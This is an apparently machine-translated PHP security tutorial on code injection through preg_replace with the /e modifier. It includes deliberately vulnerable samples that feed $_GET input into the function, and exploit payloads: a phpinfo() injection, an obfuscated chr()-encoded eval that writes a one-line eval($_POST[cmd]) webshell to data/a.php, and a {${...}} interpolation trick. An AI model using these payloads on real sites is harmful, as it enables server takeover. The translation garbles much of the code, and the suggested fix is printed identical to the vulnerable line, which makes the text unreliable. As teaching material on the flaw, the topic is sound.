preg_replace function Prototype:
Mixed preg_replace (mixed pattern, mixed replacement, mixed subject [, int limit])
Special Note:
The/e modifier causes preg_replace () to use the replacement parameter as PHP code (after replacing the appropriate reverse reference). Tip: To make sure that replacement makes up a valid PHP code string, PHP will have a syntax resolution error in the report containing Preg_replace ().
Example:
Copy Code code as follows:
<?php
Preg_replace ("/(</?) (w+) ([^>]*>)/e ",
"\1.strtoupper (\2). \3",
$html _body);
?>
This causes all HTML tags in the input string to be capitalized.
Security threat Analysis:
Typically the subject parameter is generated by the client, and the client may construct malicious code, such as:
Copy Code code as follows:
?
Echo preg_replace ("/test/e", $_get["H"], "jutst test");
?>
If we submit a h=phpinfo (), phpinfo () will be executed (using the/e modifier, Preg_replace will execute the replacement parameter as PHP code).
What happens if we submit the following code?
? H=eval (CHR) (102). CHR (112). CHR (117). chr (116). chr (+). Chr. chr (102). Chr (a). chr (112). Chr (a). Chr (a). Chr ( (CHR). Chr. chr (97).
Chr (116). chr (). chr (CHR). chr (+). chr (112). Chr. chr (112). Chr (39). chr (CHR). Chr (a) 119 (a). Chr. chr (CHR). Chr (60).
Chr. chr (112). Chr. chr (112). chr (CHR). 118 (in). chr (Chr.). chr (108). CHR (80). Chr (a). chr (+). Chr (CHR). chr (+). Chr (91).
Chr. chr (109). chr (M). Chr (a). Chr (a). Chr (a). chr (CHR). Chr (59))
The text corresponding to the ciphertext is: fputs (fopen (data/a.php,w), <?php eval ($_post[cmd))?>);
The result of the execution is to generate a one-word trojan file a.php in the/data/directory.
One more difficult example:
Copy Code code as follows:
?
function test ($STR)
{
}
Echo preg_replace ("/s*[php]" (. +?) [/php]s*/ies ", ' Test (" \1 ") ', $_get[" H "]);
?>
Submit? H=[php]phpinfo () [/php],phpinfo () will be executed?
Certainly not. Because after a regular match, the replacement parameter becomes ' Test (' phpinfo '), at which point Phpinfo is only used as a string parameter.
Is there any way to make it run?
Of course. Here we will be executed if we submit the H=[php]{${phpinfo ()}}[/php],phpinfo (). Why, then?
In PHP, if a variable is included in a double quote, the PHP interpreter replaces it with the result of the variable interpretation; the variable in single quotes is not processed.
Note: The functions in double quotes are not executed and replaced.
Here we need to construct a special variable with {${}}, ' Test (' {${phpinfo ()} ') ' to achieve the effect that the function is executed (${phpinfo ()} will be interpreted).
The following tests can be done first:
Copy Code code as follows:
The phpinfo will be executed successfully.
How to prevent this loophole?
Modify ' Test (' \1 ') ' to ' Test (' \1 ') ' so that ' ${phpinfo ()} ' will be treated as a normal string (the variable in single quotation marks will not be processed).